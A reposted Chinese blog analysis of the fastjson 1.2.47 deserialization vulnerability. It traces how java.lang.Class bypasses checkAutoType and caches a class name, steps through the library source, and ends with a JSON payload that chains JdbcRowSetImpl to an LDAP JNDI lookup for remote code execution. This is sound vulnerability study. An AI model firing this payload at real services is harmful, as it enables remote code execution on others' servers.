栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

fastjson反序列化漏洞(fastjson-1.2.47)

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

fastjson反序列化漏洞(fastjson-1.2.47)

 fastjson 1.2.47 爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。 一.原理 测试代码Test.java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test {
    public static void main(String[] args) {

        String s2 = "{"@type":"java.lang.Class","val":"aaaaa"}";
        JSONObject o2 = JSON.parseObject(s2);

    }
}

pom.xml

    com.alibaba
    fastjson
    1.2.47
根据fastjson的反序列过程,对于s2中的json数据会进行处理,关键处理函数位于/com/alibaba/fastjson/parser/ParserConfig.class中的checkAutoType(String typeName, Class expectClass, int features)。函数,之前的版本是黑名单过滤(denylist),现在变成了hash值黑名单。主要是为了过滤
以 L 开头和 ; 结尾  以 LL 开头和 ;; 结尾 以 [ 开头
如下部分 这一部分主要是如果开启了autoTypeSupport,那么就先对比白名单,如果传的type这个类里包含白名单的类,就执行loadclass,没有的话就对比黑名单中的,如果在黑名单,就抛出异常。 进入 loadClass
public static Class loadClass(String className, ClassLoader classLoader, boolean cache) {
    if(className == null || className.length() == 0){
        return null;
    }
    Class clazz = mappings.get(className);
    if(clazz != null){
        return clazz;
    }
    if(className.charAt(0) == '['){
        Class componentType = loadClass(className.substring(1), classLoader);
        return Array.newInstance(componentType, 0).getClass();
    }
    if(className.startsWith("L") && className.endsWith(";")){
        String newClassName = className.substring(1, className.length() - 1);
        return loadClass(newClassName, classLoader);
    }
    try{// 如果 classLoader 非空,cache 为 true 则使用该类加载器加载并存入 mappings 中
        if(classLoader != null){
            clazz = classLoader.loadClass(className);
            if (cache) {
                mappings.put(className, clazz);
            }
            return clazz;
        }
    } catch(Throwable e){
        e.printStackTrace();
        // skip
    }
// 如果失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类,也需要 cache 为 true 才能写入 mappings 中
    try{
        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
        if(contextClassLoader != null && contextClassLoader != classLoader){
            clazz = contextClassLoader.loadClass(className);
            if (cache) {
                mappings.put(className, clazz);
            }
            return clazz;
        }
    } catch(Throwable e){
        // skip
    }
    try{
        clazz = Class.forName(className);
        mappings.put(className, clazz);
        return clazz;
    } catch(Throwable e){
        // skip
    }
    return clazz;
}

根据上边的代码说明,我们需要控制cache这个参数为true的时候才能实现将我们的恶意类加入到 mappings中。于是查找一下loadClass这个方法 可以看到有三个函数,依此看一下,发现参数为2的loadClass(String className, ClassLoader classLoader) 通过递归调用三个参数的loadClass,因为cache为true,那么我们写入className就可以被put到mappings中去 于是对loadClass 使用Find Usage 通过看左下角的调用关系可以发现在MiscCodec.deserialze()的方法使用,其中deserialze的定义public T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) 当clazz ==Class.class 的时候会调用这个方法,而clazz又是我们传入的type的参数,      所以我们应该传入一个能与Class.class相同的类,然后在加上一个恶意类的类名,从而将恶意类导入到mappings中然后使用,发现java.lang.Class这个类可以实现,于是就可以实现漏洞利用了。 测试代码
import java.io.IOException;

public class Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Class name =  Class.forName("java.lang.Class");
        if(name == Class.class){
            System.out.println("equal");
        }
    }
}

二.代码调试 Test.java
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;

public class Test {
    public static void main(String[] args) {
        String s2 = "{"@type":"java.lang.Class","val":"aaaaa"}";
        JSONObject o2 = JSON.parseObject(s2);
    }
}

在parseObject处下断点开始调试 首先进入parseObject,根据fastjson的实现方法可以了解,parseObject是在parse的基础上多了个toJson的方法,然后继续跟进parse 运行到parse处,到这可以看到传入的参数的type字段为java.lang.Class,然后继续跟进DefaultJSONParser中 在DefaultJSONParser中发现会给checkAutoType进行赋值,并进入checkAutoType这个方法 然后来到checkAutoType,继续跟进 来到给clazz进行赋值,其中在TypeUtils.getClassFromMapping中没有找到java.lang.Class,但继续跟进发现在deserializers中发现存在java.lang.Class 于是进入findClass方法中 然后返回clazz 然后在DefaultJSONParser继续跟进,其中设置 resolveStatus 为 TypeNameRedirect。 获取到java.lang.class对应的反序列化处理类com.alibaba.fastjson.serializer.MiscCodec,然后进入deserializer.deserialze(this, clazz, fieldName) 来到deserialze 继续向下走,首先到这可以知道objVal为aaaaa 到这将objVal赋值给strVal 然后经过数个if判断 最后到了clazz == Class.class这个判断 因为clazz为java.lang.Class,满足这个判断,于是进入loadClass这个方法,其中strVal的值为aaaaa 于是到这即两个参数的loadClass递归调用三个参数的loadClass 然后继续跟进,到下面的部分的时候,因为cache为true,于是执行mappings.put(),将aaaaa存到mapping中 TypeUtils中的mappings,原本存在许多写好的值 通过这种方法我们就将我们可以利用的恶意类写入到了mapping中,然后就可以使用了

构造payload:先写入com.sun.rowset.JdbcRowSetImpl,然后在利用ldap或者rmi远程执行。

payload:
{
    "a": {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://localhost:1389/Exploit",
        "autoCommit": true
    }
}
--------------------------------------------------------------------------------------------------------------------------------- 参考su18师傅( fastjson:我一路向北,离开有你的季节 | 素十八) y4er师傅( Fastjson 反序列化RCE分析 - Y4er的博客) ldap,rmi利用可参考thonsun师傅( JavaSec rmi利用分析 | thonsun's blog , JavaSec jndi注入利用分析 | thonsun's blog) 一些基础知识如反射以及构造gadget参考panda师傅( JDK7u21反序列化漏洞分析笔记 - 技术文章 - 90Sec)
转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/844468.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号